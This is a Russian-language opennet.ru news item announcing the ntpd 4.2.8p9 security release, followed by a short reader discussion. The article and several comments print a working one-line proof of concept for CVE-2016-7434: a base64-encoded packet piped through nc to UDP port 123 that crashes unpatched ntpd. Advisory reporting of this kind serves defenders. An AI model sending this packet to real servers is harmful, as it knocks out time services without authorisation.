Выпуск ntpd 4.2.8p9 с устранением уязвимостей

24.11.2016 10:18

Доступен корректирующий выпуск сервера для синхронизации точного времени NTP 4.2.8p9, в котором устранено 10 уязвимостей, которые могут привести к отказу в обслуживании, путём исчерпания доступных ресурсов или инициирования краха процесса. Одна из уязвимостей (CVE-2016-7434) достаточно проста в эксплуатации и может привести к краху процесса ntpd при отправке специально оформленного пакета без необходимости прохождения аутентификации (проблема проявляется на ранней стадии соединения):


    echo "FgoAEAAAAAAAAAA2bm9uY2UsIGxhZGRyPVtdOkhyYWdzPTMyLCBsY"\
    "WRkcj1bXTpXT1AAMiwgbGFkZHI9W106V09QAAA=" | base64 -d | nc -u -v 127.0.0.1 123

исправить +5 +/–

Лицензия: CC BY 3.0

Короткая ссылка: https://opennet.ru/45553-ntp

Ключевые слова: ntp

При перепечатке указание ссылки на opennet.ru обязательно

Обсуждение (8)

1.1, freehck (ok), 11:23, 24/11/2016 [ответить]	+2 +/–
При копировании команды имейте в виду, что на opennet отступы для блоков кода дополнительные ставятся, что приводит к появлению пробела посреди строки. ;) echo "FgoAEAAAAAAAAAA2bm9uY2UsIGxhZGRyPVtdOkhyYWdzPTMyLCBsYWRkcj1bXTpXT1AAMiwgbGFkZHI9W106V09QAAA="

2.2, burik666 (ok), 12:45, 24/11/2016 [^] [^^] [^^^] [ответить]	+/–
echo "6nonce, laddr=[]:Hrags=32, laddr=[]:WOP2, laddr=[]:WOP"

3.3, wd (?), 13:33, 24/11/2016 [^] [^^] [^^^] [ответить]	+2 +/–
wd ~ % echo "FgoAEAAAAAAAAAA2bm9uY2UsIGxhZGRyPVtdOkhyYWdzPTMyLCBsYWRkcj1bXTpXT1AAMiwgbGFkZHI9W106V09QAAA=" \|base64 -d \|hexdump -C 00000000 16 0a 00 10 00 00 00 00 00 00 00 36 6e 6f 6e 63 \|...........6nonc\| 00000010 65 2c 20 6c 61 64 64 72 3d 5b 5d 3a 48 72 61 67 \|e, laddr=[]:Hrag\| 00000020 73 3d 33 32 2c 20 6c 61 64 64 72 3d 5b 5d 3a 57 \|s=32, laddr=[]:W\| 00000030 4f 50 00 32 2c 20 6c 61 64 64 72 3d 5b 5d 3a 57 \|OP.2, laddr=[]:W\| 00000040 4f 50 00 00 \|OP..\|

4.4, burik666 (ok), 13:59, 24/11/2016 [^] [^^] [^^^] [ответить]	+/–
точно! тупанул.

2.8, pavlinux (ok), 03:21, 27/11/2016 [^] [^^] [^^^] [ответить]	–1 +/–
> При копировании команды имейте в виду, что на opennet ... UNIX-way - printf printf "%q" "FgoAEAAAAAAAAAA2bm9uY2UsIGxhZGRyPVtdOkhyYWdzPTMyLCBsY"\ "WRkcj1bXTpXT1AAMiwgbGFkZHI9W106V09QAAA=" \| base64 -d \| nc -u -v 127.0.0.1 123

1.5, Аноним (5), 16:37, 24/11/2016 [ответить]	+/–
в этот раз на слаке апдейт завезли быстро

2.6, rt (??), 22:35, 24/11/2016 [^] [^^] [^^^] [ответить]	+3 +/–
Потрясающе!

1.7, Аноним (-), 12:40, 25/11/2016 [ответить]	–1 +/–
Gentoo, ntp 4.2.8p8 - не крашится

2.9, SysA (?), 11:37, 28/11/2016 [^] [^^] [^^^] [ответить]	+/–
К сожалению ты неправ! Крашится, но v4.2.8_p9 - нет.

Добавить комментарий

Текст: